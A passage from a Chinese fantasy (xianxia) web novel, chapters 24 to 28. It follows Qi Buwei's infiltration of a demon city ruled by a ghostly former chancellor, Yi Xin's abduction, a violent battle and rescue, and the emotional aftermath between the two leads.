拿到桃木离开归墟境后,她也要速速离开山庄。
雨幕贯彻天地,将归墟境染成灰蒙蒙一片。
祁不为隐在边界之处,望着眼前固若金汤的城池,城楼上书“极乐城”,此地较之风疏辖内更为晦暗,上空飘荡着幽幽鬼魂。
他抬手作势,隐去凡人之息,再化作一缕白光,乘风入
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城。
城内妖气弥漫,有作人形,亦有兽状。
见状,祁不为灵机一动,化成了那蛟妖的人形。
他对蛟妖一无所知,若有“熟人”来搭讪,再好不过。
正随处走着,天降大饼。
有人过来搭他肩膀:“伏鳞,城主召见十妖,你难不成又想忤逆他的命令?”
伏鳞?这是蛟妖的名字?
祁不为回想匆匆一面时伏鳞的神态模样,回看身旁妖怪。
那妖对他笑了笑,吐出蛇信,眼中竖瞳发黄发亮,这令他陡然想起前世甘华门遇到的那头上古蛇妖,心中一沉,面上却不显。
听这蛇妖的意思,伏鳞对城主心怀不满,回答“不去”,安全合理。
祁不为转过头,目视前方:“不,我去。”
蛇妖惊了:“你去?!”
话锋又一转,语调里透露着庆幸:“哎,看来你想通了,那城主也不知哪头冒出来的厉鬼,起码有五六百年的修为。要不是你从前受了伤,哪有他把你挤下去的份!”
看来城主与伏鳞有仇,且二者都是修为强悍的大妖。
这片归墟境,当真“卧虎藏龙”,如果身份暴露,还真是插翅难逃。
面对严峻形势,祁不为沉默片刻,忽觉身旁安静至极,心中咯噔,偏头只见那蛇妖犹疑不定地望着他。
“……你今日怎么怪怪的,平时一听这话就炸。”
方才那番话是蛇妖一时嘴快,说完他就后悔了。伏鳞对众兄弟是好,可要触了他的逆鳞,也是立马翻脸不认人。所以他敢对伏鳞勾肩搭背,但也怕伏鳞暴起,只是小心翼翼觑他时,却见他沉思不语,仿佛对这些无所谓。
祁不为邪气一笑,阴冷至极:“我有心放你一马,你还讨打?”
蛇妖悻悻:“走吧走吧。”
接下来,祁不为便继续装作沉思,掩盖自己不识路的破绽,蛇妖不敢再乱说,专心致志领着他前行。
一路上遇见不少妖怪,大致分为两派。
一派对他恭敬有礼,另一派面上不敢发作,但没少飞眼刀子。
当二人终于达到时,祁不为抬眼相看,而后怔住了。
入目所见是雕梁画栋,金碧辉煌,而且熟悉至极——这分明是天启皇帝上朝的宫殿!
极乐城里为何有一座这样的宫殿?
祁不为压住闪烁的眸光,不动声色迈入殿中,随着蛇妖一路走到右侧首列,站定后,有小妖搬来铺了皮毛的座椅,放在大殿中央,再往后看,是煊赫的龙椅。
妖怪们整齐地排成两列,簇拥着皮毛座椅。
祁不为顿觉有些荒唐又好笑。
一群妖怪在……上朝?
这时,耳边想起震耳欲聋的呼喊。
“城主大人!”
祁不为循声望去,门口走来一位年逾花甲的老人,偏转目光时,对上了他的视线,继而轻蔑地收回去,于是错过了祁不为瞳孔轻颤时流露出的震惊。
天启丞相,李善!
祁不为目不转睛地盯着他,城主竟然是李善!他明明被风疏砍了头,难道是执念太重,死后成了厉鬼?
见李善坐在殿中的皮毛椅上,祁不为忽然觉得他能修成厉鬼也不难理解。
都脱出肉体凡胎了,还效忠着天启皇帝。要妖怪上朝,却不坐龙椅。
愚昧。
25. 第二十五章
李善落座,斜眼看过来:“伏鳞?你要再不来,我会以为你叛向青山女帝了。”
祁不为对他不屑地笑了笑,没说话。
李善又道:“重阳过后,风疏便会清理归墟境的鬼魂,在这件事上,你一直和我持不同的想法,听说前几日还出门佐证去了,可有收获?”
这话说得模棱两可,祁不为根本不知李善和伏鳞对这些事有何想法。
祁不为:“有无收获,关你何事?别废话了,有事直接说。”
李善冷笑:“无知小儿,我不跟你计较。”
伏鳞面相年轻,但真论年纪,他不一定比李善小,祁不为感到好笑,又崩紧了脸:“那你和手底下的人计较计较。”
李善剜他一眼,面向众人:“诸位,你们在归墟境呆得最久的是谁?多少年?”
底下有人答道:“九十年。”
“凡人呢?”
“依城主的吩咐,暗中打听后发现最长达九十九年。”
李善循循善诱道:“是啊,无人超过百年。”
祁不为拧眉听着,嗅到了其中的不对劲——群妖环伺的极乐城,怎会没有在这生活百年的妖怪。
李善从座椅上起身,慢慢走着:“你们可想过,为何无人超过百年。”
众妖摇头。
“因为百年之日,归墟境必会大开,届时妖魔鬼怪都能离开此地。”李善平静道,可话中分量不亚于向湖中砸下巨石。
殿内顿时喧哗。
祁不为压下眉头,不作言语。
李善:“众所周知,人死当归地府,否则阴阳不平衡,人间会受极大影响。青山女帝故意用灰飞烟灭的借口恐吓那些凡人,要他们统统去地府投胎,就是怕时日一到,他们发觉真相,离开归墟,涌向人间。”
“她为何不恐吓我们?”有人发问。
李善:“我们都是有修为傍身的妖鬼,倾巢之力非同凡响。青山女帝管得了凡人,可管不住我们,否则怎会谈下和平协议,井水不犯河水。退一步说,她和地府管凡人,而我们,与人间修道者、上界仙人对立。”
群妖开始沸腾。
“我们可以离开这个鬼地方了?”
“呆了几十年!终于可以走了!”
“这里什么都没有!连人都吃不了!等出去了,我要饱餐一顿,吃他百来人!”
众妖双眼猩红,有些甚至激动得露出本体或部分特征,祁不为夹杂其中,看群妖欢腾,场面诡异又荒谬。
从百年者推断百年之日必有大事发生,不能说李善不聪慧,但祁不为却很难认同。
归墟结界大开,无人可阻?听来简直天方夜谭。
雨线接天连地,易辛坐在铺子里,望着外头的灰蒙出神,手心按在木钗上。
木钗没动静,说明祁不为尚未遇险……
忽然,窗外街道上走过一道人影,是那日送她出殿的内侍——李格。
李格撑着伞来到廊下,点日不在,铺子便关着门,他朝里喊道:“易辛姑娘可在?”
易辛开门:“公公先进来吧,外头雨大。”
李格笑着摆摆手:“我这一身雨水,别脏了屋堂。风疏大人让您进宫,有事相商,命我来接您。”
有事?是桃木么?
易辛看一眼天色,点点头:“公公稍等,我取把伞。”
拿上伞后,易辛回到桌边,木钗不算短,她身上的衣物还是浣衣坊的样式,为了方便干活都是窄袖,放木钗恐折断了,想想还是别在了发间。
两人冒雨出门,没走几步,衣裙便湿糊糊地粘在身上,风一吹,冷得打哆嗦。
易辛吸了几口气,好奇问道:“归墟境是到了雨季吗?大雨一连下了好几日,到处都在涨水。”
李格抬头望了眼天,凝住须臾:“这里少雨,也不知是谁把天戳了个大窟窿。姑娘,咱走快些,去宫里避雨。”
“好。”易辛紧走跟上,李格脚程厉害,行得飞快,似讨厌极了雨水。偏偏风一吹,将易辛掀得倒退几步,那一瞬间,她不禁想照这般倒雨,归墟境会不会发洪水?
狂风暴雨糊了眼睛,她抬手抹净,一下子没看清路面,一脚踩进水坑,鞋履虽早就打湿了,但此时更觉湿乎乎的。
有人扶她手臂一把,带着转入屋檐下,风雨霎时小了。
“多谢公公……”易辛一面感谢,一面擦着眼睛。
“口头感谢诚意不够,换个吧。”
——这声音不是李格!
易辛猛抬头,眼前之人正是那日的蛟妖伏鳞。
易辛下意识后退,撞上了紧闭的扇门。
伏鳞面目突变,额上生角,颊边长鳞,同时朝她张开血盆大口。在她失声尖叫之前,狠狠捂住口鼻,用力之大,仿佛能生生捏碎她的下颔骨。
易辛顿时痛得眼冒水光。
“你答出青山女帝的谜题了,告诉我答案,我便放了你。”伏鳞恢复原状,双目如刀,紧紧锁在她身上。
易辛几乎是毫不犹豫地点头。
伏鳞嗤笑,手移到她的脖颈,让她能张口说话。
易辛动了动唇,却发不出声音,面色一白。
“你耍什么花招!”伏鳞手上用力,只听易辛喉间传来窒息般的声响。
她拼命摇头,努力说道:“我……说不出……写、写给你看……”
为了证明,她连忙就着手上的水在门板上写字,可手悬在空中,仿佛被谁箍住似的,迟迟下不去。
易辛明白过来,脸色苍白:“是禁、禁制……女帝说过,不能告诉他人答案。”
与先前的强硬相反,伏鳞似乎信了她的话,或者说早已预料。他松开易辛,谅后者也不敢跑。
易辛捂住脖子闷闷咳嗽着,忽听伏鳞冷笑一声。
“你是幸运的人。重阳一过,归墟境便是空城。”
易辛不解,小心翼翼地朝他望去。
伏鳞还原了李善的推测,但给出了截然不同的结论:“极乐城的城主认为,归墟境在百年之日会大开结界,他为什么不动脑子想想,没有逾百年者,是因为风疏把所有妖鬼亡魂都杀了,逢百年一次的屠城!”
易辛瞪大眼睛:“你……来偷风疏的记忆玉瓶,便是想从中得到蛛丝马迹?”
伏鳞不置可否:“总有办法能解除风疏禁制,撬开你的口。”
易辛听出言外之意,他想把自己抓走,但……起码现在不行!
她猛然抬手,拔出木钗刺向伏鳞。
伏鳞神色一变,眼疾手快地攥住易辛手腕:“我小看了你的胆子!”
话落,他用力一拧,骨骼喀嚓声暴起,易辛痛得双腿一软,几乎要跪在地上,然而那条脱臼的胳膊还死死攥在伏鳞手中,扯得她呼吸之间全是疼痛。
木钗早已落在地上。
风雨一过,两人消失得无影无踪。
极乐城,殿内。
祁不为无动于衷地望着狂欢的妖群,这时,李善又道:“风疏必然知悉,归墟
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境外或许布好了罗网,诸位要做好准备。”
说着,李善拍了拍掌,有小妖鱼贯而入,手中捧着诸多兵器法宝。
李善:“这是我为大家网罗的东西,挑个趁手的,酣战一番,再去外面的自由天地!”
话音落下,众人振臂高呼,纷纷挑选兵器。
祁不为敛下眉目,若真如李善猜测,这般多的妖怪涌入人间,必然是大事,仙门不可能一概不知,但他确实没听过一点风声,连古籍记载也不曾有过。
这说明妖怪出不去!
没人在归墟境活过一百年,是因为大家都死了!
祁不为手指发颤,为这个猜测震惊,同时心中焦灼。
好不容易重生一次,他怎么能死在这里?!
这场盛宴没必要听下去了,浪费时间。祁不为刚一转身,恰有小妖捧着兵器站至身前。
“伏鳞大人,请挑选。”
“看不上,走开。”祁不为冷声道,那小妖好像受了李善的命令,动也不动,非要他拿了才肯让步。
祁不为下意识想动手,又及时摁住。他一施法,便会暴露,于是只表露出不耐和火爆,伸手推了小妖一把,匆匆离开。
还未跨出殿内,周遭忽然涌起了另一种喧嚣。
“血?人血的味道!”
“殿上有生人?!城主大人!这里混进了人!不是死魂!是活生生的人!”
“谁?是谁?好想吃!好饿!好久没吃人了!”
祁不为脚步一顿,妖物嗅觉敏锐至极,便是这一瞬的功夫,他便和身旁的妖怪对上了视线,那人见了他先是一愣,再直勾勾地盯着他的手。
祁不为僵住,手不由自主地动了动,没有痛觉,但他感到自己成了众矢之的,灼热的目光一道接一道打在自己身上。
电光火石间,他想起,难道是方才推开身前小妖时,兵器割伤了手?
“伏鳞?”李善带着疑惑的语调喊了他一声,仿佛猛兽进攻的前兆。
不肖李善下令,群妖已奋勇而来。
祁不为随手召出不思量,行云流水地向周身劈砍,灵剑所过之处,激荡出道道流光。
群妖似是没料到他有此修为,轻敌之际,便给了他可趁之机。
祁不为一路出逃,围在身旁的妖怪都是些虾兵蟹将,不思量像切豆腐般轻易将他们砍成几段。
不被身后的大妖们追上,然后逃出极乐城,这是最理想的结果,但当那同行的蛇妖闪身至身前时,他便知不可能了。
“你是谁!伏鳞在哪!”蛇妖怒吼着。
祁不为一剑刺向他嘴巴:“别吵!”
蛇妖抬手,隔空挡住剑尖。
祁不为运转灵力,用不思量顶着蛇妖退后,剑尖蓄力,贯穿了后者手心,再至胸口。
蛇妖爆发出一声惨叫,祁不为握住剑柄,横向一拉,把半边身子切出平口,剑身鲜血淋漓。不及蛇妖反应,他顺着横拉的剑势旋身,绕至蛇妖身后,抬手一掌,将他抛飞出去,又拦了那几个大妖一瞬。
他转身奔出几步,发觉自己来到一座围城似的高墙里。
墙砌成圆,只留贯通的两道大门,四周高高垒起,仿佛逗蛐蛐的盅。
此地太适合瓮中捉鳖,祁不为拧起眉头,不玩了,用易地术回去。
这般想着,他一剑挥开挡在身前的妖兵,接着看清了后面的景象。
与他一模一样的人站在对面门口,是伏鳞。而他身旁,是脸色比纸还白的易辛。
26. 第二十六章
伏鳞带着易辛瞬息而至,两人见到对面成群而来的妖怪,不约而同惊住。
伏鳞眯起眼睛:“竟有人敢冒充我?”
易辛胳膊吃痛,又被他死死捏住,但一见对面那人,几乎立马明白,那是祁不为。
祁不为心中一沉,暂未想明白他抓走易辛的缘故,但有一点很清楚,易地术用不了了。
李善率领诸妖而至,让祁不为变成前有豺狼后有虎豹的局势,旋即高声大喝:“伏鳞,你招来的祸患。”
“他变成我的样子,就算我招来的东西了?真可笑。”伏鳞反唇相讥。
李善冷笑:“别斗嘴了,先处理外患!”
一声令下,妖物沿着圆墙四散,顺势堵住两道大门,再袭向孤立无援的祁不为。
祁不为尚算镇定,迎着伏鳞的方向一路向前,身后大妖们依然袖手旁观。
只见以他为圆心,断肢残腿像铲土般往外飞。
易辛咬紧舌尖,强迫自己镇定冷静。祁不为面上还是伏鳞的模样,如果能走到她身边来,和真正的伏鳞混在一起,可以模糊妖怪们的视线。同时,只要他走过来了,她便能告诉祁不为,木钗不在极乐城,易地术还能用!
祁不为不断挥舞不思量,灵力激荡,一时竟有些勇往无前的味道。
李善和伏鳞默默注视他,再相视一看,皆明了他的意图。
终于,李善动了,飞身入阵,掌上阴风猎猎,所过之处带着沁入骨髓的寒冷。他双爪如蛇,缠着不思量,如影随形,叫祁不为一时难以顺利出招,剑仿佛随着李善意念行走一般。
在祁不为又一次被压制时,他蓦地松了手:“你喜欢,便送你。”
剑上还蕴藏着灵力,与李善针锋相对,缠得他一时无法撤身。祁不为趁机汇聚灵力于掌心,直冲他面门。
便在这时,祁不为顿觉背后寒毛竖起,迅速俯身,从剑底下绕过,再背手拿剑朝身后一刺。
观戏的大妖伸出援手,拦了祁不为一把,并挟住不思量,李善得了空,立即狠辣出手。
祁不为再度弃剑躲过,但还是慢了一步,被阴风擦过肩膀,血液仿佛结了冰,身子僵硬。
李善修为太高,祁不为这副身子不过活了十多年,难以抵过。施在脸上的术法消失,露出他原本模样。
李善衣袖一挥,顿有狂风起,将祁不为的头发拂至身后,叫众人看清他的面庞。
伏鳞看见祁不为,森冷一笑:“你?”
接着,他转头看向身旁易辛:“你俩一伙的?”
说罢,他猛出手掐住易辛颈项,对祁不为道:“你最好束手就擒,不然我就杀了她!”
祁不为面色一滞。
易辛仰起头,直视伏鳞,忍着窒息,断断续续道:“你……不会杀我的,我对你还有用。”
伏鳞眉头微动,似有不耐,力度加大。
易辛面色涨红,额角青筋鼓起,忽然大喊:“——公子!木钗不在我身上!”
言外之意,易地术能用!
祁不为一惊,周身阴风阵阵,而前方不远处,易辛像只奄奄一息的鹌鹑,他知道她的话是对的,伏鳞若要杀她,不会带回极乐城。
于此同时,他也明白易辛看出他无法突围,所以告诉他易地术能用。
衡量之后,她作出了选择。两个人不能一起走,那起码要逃走一个!
……他要丢下易辛离开么?
正当祁不为犹豫时,伏鳞从鼻子里逸出一声冷哼,缓缓举起手:“你说的木钗,是这个?”
易辛原本涨红的面色,似隐隐渗出惨白:“你……你……”
伏鳞端详木钗,笑了:“我说你怎么突然袭击我,原来是想‘自然地’丢下它。”
直接把木钗从头上拔下来太突兀了,眼见她要被带走,情急之下,只能那样搏一搏。
伏鳞:“——真不巧,我拿走它,只是不希望留下你的东西,供旁人施术追踪至我身上。”
易辛顿觉沉入谷底,心里却拗着一股劲儿,伸手去够那只木钗,尽管徒劳。
伏鳞不屑,掐住她颈项的手用力一挥,将她甩在地上,木钗扔在身前:“你说的对,我暂时不会杀你,但你可以看我杀掉那个男人。”
易辛猝然抬头,眼眶因窒息而发红,在伏鳞抬步离开时,紧紧攥住了他的衣摆:“等等……只要你放过他,我一定想方设法告诉你答案。”
伏鳞抬手放在唇边,呼出一声尖锐的哨音,本就阴云密布的天色里,忽有鬼魂四面八方而来,从高墙俯冲而下,令人毛骨悚然。
见此情景,陡然间易辛像踩空了坠入深渊,颤栗席卷全身,面无血色,连嘴唇也白得吓人,身子不禁细细发抖。
见她瞬间失神,伏鳞不解地笑了下:“怕鬼?那就好好呆着。”
说话间,鬼魂已将她团团围住,面目狰狞。
易辛脑中空白,什么也看不清了,但四周幽魂却像印在脑子里,无孔不入。心剧烈跳动,每一下都带着无比的疼痛。
眼泪无意识地落下,她想尖叫,却被恐惧攫取了喉咙,只剩可怜的呜咽。
好像有只手从喉咙伸进胃里,残忍而胡乱地掏着,僵冷恶心。
……
“爹,百鬼大阵您练了那么久,不如拿她试试?”
“放心,她曾经是清风山庄的侍女。如今山庄空无一人,她失踪了也不会有人发现。”
……
祁不为将一切尽收眼底,刚要上前,重重叠叠的妖怪却挡住了他的路。下一瞬,伏鳞倏忽而至,不思量亦从李善等人手中挣脱出来,飞向祁不为。
祁不为持剑和伏鳞缠斗,身形翻飞,不时还要应付趁虚而入的小妖。
伏鳞抬手格挡长剑,挑衅道:“还不停手?你没看到她多怕鬼,你收手,我就能把鬼驱散带她走了。”
祁不为不作言语,只旋身不断劈砍,硬生生将伏鳞手臂上的鳞片砍掉些许。
伏鳞没反应他一剑更比一剑快的架势,剑刃砍进皮肉时,他才觉出怒意,方聚起妖力反击,陡见剑身燃起火焰,烧灼与剑相连的那道伤口,并攀附至臂膀。
蛟属水,最怕火。
他大喝一声,才来得及后退一步,便被祁不为钳住脖子,灵力压迫之下,竟是想生生捏断。
“你重伤未愈。”祁不为勾起嘴角,笑得有些狠戾,气势摄人。
不知伏鳞十多年前受过什么伤,但过招之间,和李善相差太远。祁不为心中积了郁火,总要逮住一个发泄。
不思量嗡鸣震颤,伏鳞似有所感,愈发痛苦,祁不为握住剑柄,翻转方向,向外一拉,又截断他一只胳膊,伏鳞腿软跪地。
危机之时,祁不为眸光一凛,偏头闪过,李善又追了上来。
“抓住他!”
李善下令,旁观的大妖们纷纷而上。
祁不为挡过一击又一击,灵力冲刷筋脉,力竭时又被他压榨出来,不知战了多久,忽然一把兵器飞了出去,彼时无人在意,直至上空出现骚乱。
“血啊……”
“人血…
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…那女人也是生人!”
祁不为堪堪躲过李善带着阴风的一掌,震得耳朵生痛,却还是听见妖怪们的沸腾,动作一顿,被伏鳞钻了个空子。
伏鳞五指并拢,化出蛟龙利爪,像柄剑一样穿透了祁不为肩膀,收势时鲜血喷涌。
祁不为闷哼一声,右肩剧痛,不能用了。不思量掉在地上,哐当作响。
伏鳞狞笑,舔了舔手上的血。
其实祁不为身上不断割出些流血的口子,但碍于围在他身边的皆是大妖,余人不敢上前分一杯羹。
可就在方才,甩飞的兵器蹭过易辛胳膊,鲜血顺着伤口蜿蜒,只是她一无所知,陷在恐惧中,全身颤抖。
空中鬼魂和小妖们躁动不已,某一个契机,终于扑向易辛。
易辛眼前昏花,恐惧却让她对周围的气息愈发敏感,阴冷之感厚重了不止一层,仿佛冰冷的潮水向她压来。
窒息,却躲不开。
尖叫在心口炸开,感觉天旋地转,血液寸寸结冰。
重重压迫之下,耳道仿佛强行收纳外界的声音,无数包围环绕的嘶鸣,像是数不尽的食人鸟盘旋于头顶。
她好像要被撕裂了——蓦地,朦胧的视线里爆发出灿烂火焰,烧掉了骨子里的寒冷,也焚灭了周遭妖鬼。
一只手按在后颈上,带着黏糊又温热的血。
祁不为脱力地跪在易辛身前,千钧一发之际,他用易地术瞬移而来,再从体内榨出最后的灵力,借梵净术一把烧了那些东西。
易辛太不对劲,双目失神,他掌心下的身体仍在细细颤抖。
李善携众包围二人,扫一眼四周,尸体堆积成小山,大妖们各自受伤,其中两人已被祁不为杀死,而伏鳞断了只胳膊。
“你倒是有点本事,”李善由衷道,“但想逃出去,绝无可能。”
闻言,祁不为笑了一下,漫不经心。
“你不信?”李善皱眉。
祁不为力竭,头不由得低下,撞上了易辛额头,意外变成二人相抵。
感觉到她额头冰凉,像只濒死的小兽般呜咽,他憋住一口气抬起头,将易辛摁进肩窝:“不要哭了……我会……带你走的。”
“你还能走?”妖群中发出嗤笑。
祁不为喘息着,慢慢蓄力——像前世一样,把他们的妖力吸光,就能杀了他们离开此地。
比起甘华门那只蛇妖,吸了他们妖力,事后应当还能控制神智……祁不为想着,命总归是最重要的。
他动了动手指,刚想抬手,一只冰凉的手忽然握住了掌心,好似极度恐惧,将他攥得紧紧的。
耳边传来模糊又断续的声音。
“不要……不要……”
易辛的泪水打湿了他的侧颈,再滑入衣襟里。
祁不为以为她十分害怕,安抚道:“……我会带你走的。”
可他一时却无法从那只冰冷的手中挣脱,易辛此时力气出奇的大。
察觉到祁不为的气息,仿佛浓雾里晃进一抹日光,她抓住灵台中转瞬即逝的清明,咬住舌尖,强迫自己镇定镇定再镇定。
胸口剧烈起伏,她知道祁不为想做什么,但全身的力气只够按住他的手。
……再等等,再等等。
便在此时,以李善为首,围在身旁的妖骤然散开。
箭羽破空而至,天边射来一簇金光,带着凛冽又灼人的气息,钉入易辛和祁不为身旁。
甫一入地,箭身荡开一圈金光,来不及闪躲的小妖霎那间灰飞烟灭。
27. 第二十七章
这只箭让众人全部愣住。
“极乐城扣住两个凡人,是要撕毁条约吗?”
风疏的声音隔空而来,威严肃穆。
众人望向天边,不见人影。
李善眸光变得阴鸷,衣袖下掌心攥紧。
“凡人擅闯极乐城在先!”有妖怪大声回道。
风疏回道:“前几日,伏鳞夜窥一座铺子,该当如何?”
话落,众人望向伏鳞。
一来一回皆是废话,彼此心知肚明,两方人马总是暗地里渗透,谁也追不到源头。
风疏声音再度传来:“一炷香后,两人若没到皇宫。第二箭,我便要拿城主当靶子。”
话语中的强势威压在妖怪中掀起热浪,加诸方才死了一众妖怪,他们心中不平,激得纷纷要拿祁不为和易辛开刀。
有妖胆大,提刀靠近二人,钉在地上的箭微微摇晃起来,大有再上前一步便后果难付的意味。
威慑过后,怒火蓦地平息了下来,道道目光望向李善。
祁不为撞上他阴鸷的视线,眸中也显出一点狠戾,互不相让,也无人先动作。
片刻后,李善抬手:“放走。”
在众妖的喧哗呼喝中,祁不为一把撑起易辛。她浑身无力,只蜷在他怀中,呼吸急促。
两人御剑离开。
暴雨倾盆里,祁不为撑着最后一口气,带易辛落在宫殿门口。
风疏正在廊下,见状立即接住易辛。
祁不为收了剑,下一瞬也摇摇欲坠,力竭昏了过去。
等他再度醒来时,点日正站在塌边,弯起唇角:“醒了?”
祁不为细细感受身体,外伤上右肩疼痛,内里则经脉胀痛,因为过度使用灵力。
他慢慢坐起来:“……易辛怎么样?”
“不太好。”
祁不为面色一僵。
“一回来就让人点灯,点得满屋子都是。担心走水,便派了几名宫女伺候,屋里走动起来,人影憧憧的,她又受了惊吓。”
祁不为皱起眉头:“……她似乎怕鬼。蜡烛照着人影,像幽魂。”
点日淡然地注视祁不为:“我观她记忆,尚未遇见过鬼魂。倘若她怕鬼,约莫也是因为唬人的民间故事。但问题在于,她这反应不像简单的害怕,更像经历过什么,留下了阴影。”
祁不为问道:“可你不是说她没见过神神鬼鬼的东西?”
“所以换个思路,”点日娓娓道来,“你可曾想过,你对她的怨念或许无形中成了诅咒。人死后变成亡魂,一旦她看见亡魂厉鬼,就会引发怨咒之力,陷入惊恐。”
祁不为一怔,回想起易辛过手后那些苦涩不已的茶水。难道当真是他的缘故?
点日不再多说,道出最后一句:“她这病一般的大夫治不了,解铃还须系铃人。”
祁不为站在门前,里面烛影憧憧,十分亮堂,外间大雨滂沱。
以防影子摇晃,屋门紧闭着。
他推开门,狂风涌入,瞬间将烛火催折。屋内十分闷仄,实在不宜待人。
余光中,火苗一闪,塌上之人惊坐而起,慌乱喊道:“蜡烛灭了……灭了!光!我要光……”
而烛火次第熄灭,像蛇一般游窜向易辛。
易辛抱住头,脸色白得吓人,惊恐又无意识地低喃:“光……我要光……不要灭……”
喊着喊着,“祁不为”的名字从她嘴里呓语出来,带着浓烈的痛苦。
她唇色全无,说话似乎很费力,进气出气都很少,胸口急剧起伏着。
祁不为目光隐动,在她一声声呼唤里于塌边坐下,低声道:“我们已离开极乐城,没有那些让你害怕的东西了。”
易辛好像听不见他说话,眼神涣散,紧紧抱住膝盖。心口作痛下,呼吸急促,脸色灰白,眼底一片熬人的红,身子颤抖着,像风中的一片树叶。
祁不为又低声安抚几句,却毫无用处,气息不稳让易辛看起来十分痛苦。他丝毫不怀疑,再这般下去,她会因为倒气而窒息。
他细细回想极乐城时,易辛片刻的清明如何得来。
他摸了易辛后颈,磕了头,又抱了她。
触碰过后,能安抚她吗?
祁不为目光落在她抱住的双臂上,那只脱臼的胳膊已经接好了。
他抬手轻轻放在易辛肩上,后者有如惊弓之鸟,猛然后退,瑟缩着望他一眼,眸中满是惊惧。
——她认不出他。
祁不为的手顿在半空,而后缓缓收回来。他凝视易辛的眼睛,一字一句道:“易辛,我肩膀受伤了。”
她仍旧发抖。
祁不为拂去肩上衣物,露出纱布,紧接着用力摁在上面,脸上神色动也不动,再抬手时,白布上已经洇出了血迹。
他盯着易辛,见人眸光闪了一下,终于有了微弱反应。
“不帮我重新止血?任它流吗?”
“不要……”易辛下意识低喃出声,眼也不错地盯着那片血迹,慢慢止住了颤抖,眉头却越拧越紧。忽然她捂住了心口,凝泪摇头:“不要……不要受伤……别死……”
“易辛,”祁不为语调微沉,再度向她伸手,“过来。”
她凝住祁不为肩上那片血色,心口痛得无以复加,虚弱又慌张地爬向他,颤巍巍伸手,想要按住伤口,祁不为却快她一步,将衣服扶好。
“骗你的,伤口根本不痛——”
祁不为的声音戛然而止,易辛抬手抱住他的脖子,压住了伤口,疼得他神色一变。
“祁不为……不要死……”易辛小声啜泣,眼泪簌簌落下,一遍又一遍重复,好像比起灵异鬼怪,这才是她最害怕的事情!
祈求般的话语送入耳边,怀里的身子又薄又软,他像是捧着怜弱的雏鸟,心中狠狠一颤,那种感觉难以言喻。
没抱一会儿易辛就退开了,祁不为刚想问她有何处不适,就见她蹙起眉头,执拗又认真地伸手解了他襟带……
易辛低着头,看不见他错愕的脸色,只顾把上半身的衣服都扒了,理直气壮中还有几分凛然,好像急切确认着什么。
她一寸寸摸着祁不为的筋骨,浑然不觉指尖和手心的凉意都留在了他身上,在肌肉密集处还反复流连,偏偏神色一本正经,好像一位摸徒弟有没有根骨的师傅。
祁不为坐在那一动不动,本欲阻拦,但忽然又没了这个念头,她好像……只是想确认他很康健。
认真摸完后,易辛怔怔地停在了那里,这副身躯肌肉紧实,包裹着力量与充盈生机……不是瘦骨如柴,也不是一具白骨。
她目光渐渐移到渗血的肩膀上,先是用手指轻轻触碰,又觉刺眼似的,忽然靠近,舔了舔那片血色,似乎想抹掉它。
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祁不为半边身子一僵,温热一点一点落在肩头。
铁锈味在口中弥漫的刹那,易辛好像受了某种蛊惑,连灵魂都轻颤起来……这是活生生的人……血是热的……祁不为是鲜活的……
她似乎要感受更多,情不自禁拨开纱布。
这个动作牵连到了伤口,祁不为肩膀一痛,下一瞬又头皮发麻,没了纱布的阻隔,他能清晰地感受易辛的嘴巴和口中一点温热。
易辛把手轻轻搭在他肩膀和手臂上,魔怔似的吸着伤口里的热血,像只猫儿般蹭来蹭去。
祁不为觉得这有些古怪,一股自己似乎要失控的隐秘恐惧让他想推开易辛。
“……你这样下去把我吸干了……我就真死了……”祁不为抓住她的胳膊,才推开一点,神色倏变,“嘶——”
易辛受了刺激似的,突然叼住他的喉结,看起来想把他喉咙咬破,叫他不能说话。
冷不丁来这一下,祁不为要推开她的手陡然变成紧紧攥住她胳膊,额角和手背都鼓起了青筋。
易辛本就反常,并无理智可言。
此时此刻,她目光里带了点凶意,但祁不为被她撞得仰起了头,根本看不见。
好像知道自己咬痛了祁不为,她又细细地在那块儿地方轻吻起来,仿佛是一种道歉。
祁不为目光闪烁,一下子没了力气似的,却又紧紧抓住了易辛胳膊,不知所措,心底深处却有隐秘的欢愉作祟。
他眉目微拧,愣愣望着头顶天花,在易辛沿着他脖颈一寸寸亲上来时,下巴被她顶得越来越高。到极致时,祁不为意识已经有些混沌了,只觉视野里终于出现了易辛的脸。面上气息若有似无地纠缠着。
唇上好像沾了些温软,又好像只是气息拂过。
朦朦胧胧,祁不为根本分辨不清。
那阵感觉转瞬即逝,紧接着易辛就安静地伏在了他没有伤处的肩头,好像终于累了,陷入了安稳的沉睡。
一觉醒来,分明晨时,但天色阴暗昏暗,如同夜里。
梳洗过后,易辛在门槛上席地而坐,风将人吹醒,甚至覆上寒意。她搓了搓胳膊,余光里有人自转角而来。
点日一袭白衣,双手拢在袖中,在易辛身旁停下。
“看样子好多了。”点日淡淡道。
易辛面带歉意:“抱歉,添麻烦了……”
点日:“百鬼大阵之后,你魂魄受损,落在身上,就成了心痛之症,又伴随惊惧。往后一旦你情绪有异,便可能引发这等症状。”
易辛她覆上心口:“能治么?”
“惊惧之症,只能你自己疗愈。至于心病,待日后时机一到,魂魄完整,便会自行消失,”点日略微停顿,又道,“在此之前,随着时日渐长,你心痛之症会愈发频繁。”
易辛了然,又问:“那我还能支撑多久?”
“四五个月,届时记得来寻我补魂。”
易辛点点头:“我记住了。”
甘华门的仙首大会也快到了,只要等她把桃木种在祁不为体内,人间事便了得差不多了,五个月时间很富余。
思及此,她又听点日说道:“你这心病也与祁不为有关,若实在难以忍受,可找他安抚一二。”
易辛愣了愣,蓦地回想起昨日都做了什么。
她属实越界,祁不为可谓是破天荒地对她很放纵了……
28. 第二十八章
祁不为趴在窗台边,眉头紧锁,雨水扑面而来,似想借此洗去脑中浆糊。
但这并无作用,他思绪如麻,根本理不清……当初他是要杀易辛的,可这走向愈发偏得说不清了。
祁不为神色几番变化,收回了淋湿的手臂,站起身来。如今二人住在高山之上的皇宫里,他要去寻易辛,还有正事要办。
离重阳最后一日,不剩多少时间了。
走到易辛屋门前时,祁不为却不自在起来,徘徊数次,身后扇门忽然开了。
易辛一开门,就愣在原地,小声道:“……公子?”
昨日他对自己很纵容,她其实是很感激的,但感激过后,又觉非常不妥,还没不妥一会儿,忧惧马上翻涌而来——他那么恨自己,她一番举动,会不会更加把自己置于危险境地里……
所以从早上到现在,她都没想好要怎么面对祁不为,有几分逃避的意思,谁料人找上门来了……
心思百转千回后,易辛别无他法,只能诚心道歉。
她微微低下头,眉头蹙起来,懊悔似的:“昨日冒犯公子……实在对不起。当时我理智全无……日后我定当约束自己……”
说到最后,易辛猛抬头,目光定而真挚,发誓一般:“——离开归墟境后,我便下山!”
